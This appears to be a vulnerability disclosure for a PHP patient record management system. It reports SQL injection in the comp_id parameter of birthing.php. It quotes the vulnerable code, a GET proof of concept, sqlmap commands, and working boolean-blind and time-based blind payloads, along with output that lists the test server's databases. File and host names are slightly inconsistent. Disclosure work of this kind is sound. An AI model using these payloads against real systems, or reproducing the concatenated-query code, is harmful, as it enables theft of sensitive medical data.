

PATIENT_RECORD_MANAGEMENT_SYSTEM_IN_PHP has sql injection indental _birthing.php

supplier

https://code-projects.org/patient-record-management-system-in-php-with-source-code/#google_vignette

Vulnerability parameter

/birthing.php

describe

An unrestricted SQL injection attack exists in patient-record-management-system-in-php in birthing.php, The parameters that can be controlled are as follows: \$comp_id. This function executes the comp_id parameter into the SQL statement without any restrictions. A malicious attacker could exploit this vulnerability to obtain sensitive information in the server database

Code analysis

When the value of \$comp_id parameter is obtained in dental _birthing.php , it will be concatenated into SQL statements and executed, which has a SQL injection vulnerability.



```
42 | | <center><label>MATERNITY</label></center>
43 | </div>
44 | </div>
45 | <div class = "panel panel-default">
46 | <div class = "panel-heading">
47 | <label>BIRTHING ADMISSION FORM</label> <a style = "float:right; margin-top:-4px;" href = "birthing_pending.php?itr_no=?php echo $_GET['itr_no']?>" class = "btn b
48 | </div>
49 | <form method = "POST" enctype = "multipart/form-data">
50 | <?php
51 | $q = $conn->query("SELECT * FROM 'itr' WHERE 'itr_no' = '$_GET[itr_no]'" or die(mysql_error());
52 | $q1 = $conn->query("SELECT * FROM 'complaints' WHERE 'com_id' = '$_GET[comp_id]' && 'itr_no' = '$_GET[itr_no]' && 'section' = 'Prenatal'" or die(mysql_error());
53 | $f1 = $q1->fetch_array();
54 | $f = $q->fetch_array();
55 | ?>
```

POC

GET /birthing.php?comp_id=1* HTTP/1.1

Content-Type: application/json

Host: hcpgms

Result

```
python3 .\sqlmap.py -u http://hcpms/birthing.php?comp_id=1 -p comp_id -dbms=Mysql --
banner
```

got a 302 redirect to 'http://hcpms/index.php'. Do you want to follow? [Y/n] n

```
sqlmap identified the following injection point(s) with a total of 428 HTTP(s) requests:
---
Parameter: comp_id (GET)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  Payload: comp_id=1' RLIKE (SELECT (CASE WHEN (8816=8816) THEN 1 ELSE 0x28 END))-- YrIF

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: comp_id=1' AND (SELECT 8072 FROM (SELECT(SLEEP(5)))npZD)-- bMdc
---
[17:35:47] [INFO] the back-end DBMS is MySQL
[17:35:47] [INFO] fetching banner
[17:35:47] [WARNING] running in a single-thread mode. Please consider usage of option '--th
val
[17:35:47] [INFO] retrieved: 5.7.26
web application technology: Apache 2.4.39, PHP, PHP 5.6.9
back-end DBMS: MySQL >= 5.0.12
banner: '5.7.26'
```

```
python3 .\sqlmap.py -u http://hcpms/birthing.php?comp_id=1 -p comp_id -dbms=Mysql --
dbs
```

```
available databases [9]:
[*] gxlcms
[*] hcpms
[*] i
[*] mces
[*] mutillidae
[*] mysql
[*] performance_schema
[*] qdbcrm
[*] sys
```